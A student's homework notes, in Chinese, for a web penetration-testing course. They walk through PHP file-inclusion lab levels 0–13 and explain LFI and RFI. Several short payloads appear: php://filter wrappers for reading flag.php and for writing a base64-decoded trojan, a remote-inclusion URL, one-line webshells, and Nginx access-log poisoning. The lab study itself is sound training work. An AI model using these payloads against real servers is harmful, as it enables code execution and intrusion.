WEB渗透测试工程师系统班250303期
第32节课作业
1.实操课程内讲解的文件包含漏洞靶场并截图。
Level 0:include_base 体验关

Level 1:file协议

Level 2:data协议_1


Level 3:data协议_2
对php进行base64编码,去掉末尾的=

Level 4:http:// & https://_1

Level 5:http:// & https://_2
先根据提示访问challenge文件,发现本地文件没有什么用处

这关采用远程文件包含,在php的根目录写一个一句话木马文件

eval顺利执行代码,远程文件包含利用成功
此外,前面两关的木马也是可以用的

Level 6:php协议_简介

Level 7:php协议_php://input


Level 8:php协议_php://filter_过滤器&字符串过滤器

Level 9:php://filter_转换过滤器
GET:?wrappers=filter/convert.base64-encode/resource=flag.php
Level 10:文件系统函数简介 & 文件系统函数_file_get_contents()

Level 11:文件系统函数_file_put_contents()
如果使用了file_put_contents()函数,可以使用 php 伪协议的php://filter/write=convert.base64-decode/resource=来做文件(木马)的写入



Level 12:LFI&&RFI
本地文件包含(LFI,Local File Inclusion): 打开并包含本地文件的行为,比如我们后面会接触的日志文件包含,session文件包含,FilterChain等等。
本地文件包含是最常见的文件包含漏洞,在前面关卡中几乎所有的演示都是LFI(比如包含phpinfo.txt,backdoor.txt这样的行为)。
try ?wrappers=https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI
RFI- Remote File Inclusion,远程文件包含: 读取并执行远程服务器上文件的行为,相比于LFI,远程服务器上文件的可控性更高,因此危害更高,但代价就是条件苛刻,十分依赖 allow_url_include 参数。 HTTP/HTTPS 协议是最直观的远程文件包含形式,当然一定意义上,使用data协议去生成字符串然后包含也是一种远程文件包含。
Level 13:LFI_日志文件包含_Nginx
在wrappers被过滤的情况下,通常使用日志文件包含的方式来绕过,由于文件包含漏洞最大的需求点是文件,所以我们需要得知日志文件的位置,通常情况下为默认位置。
/var/log/nginx/ - 默认Nginx日志目录 /var/log/nginx/access.log
抓包上传木马


访问

一、笔记标题:WEB渗透系统班-文件包含漏洞靶场(一)+文件包含漏洞靶场(二)
二、文章内容:
- 课程内容概要
主要知识点1:靶场1-13
主要知识点2:
主要知识点3:
2.重点知识与细节
概念解析
概念1:本地文件包含
概念2:远程文件包含
关键步骤
步骤1:无
步骤2:
步骤3:
相关代码
3.实操练习 和 解析(记录自己实操练习时的思路、解法,以及自己遇到的困难)
实操了靶场1-13关
4.个人总结(写下自己对本节课的理解、收获、困惑和需要进一步学习的内容)
本节课最大的收获是:练习了文件包含漏洞的靶场
仍然存在疑问的地方:暂无
需要课后深入学习的内容:剩下的几关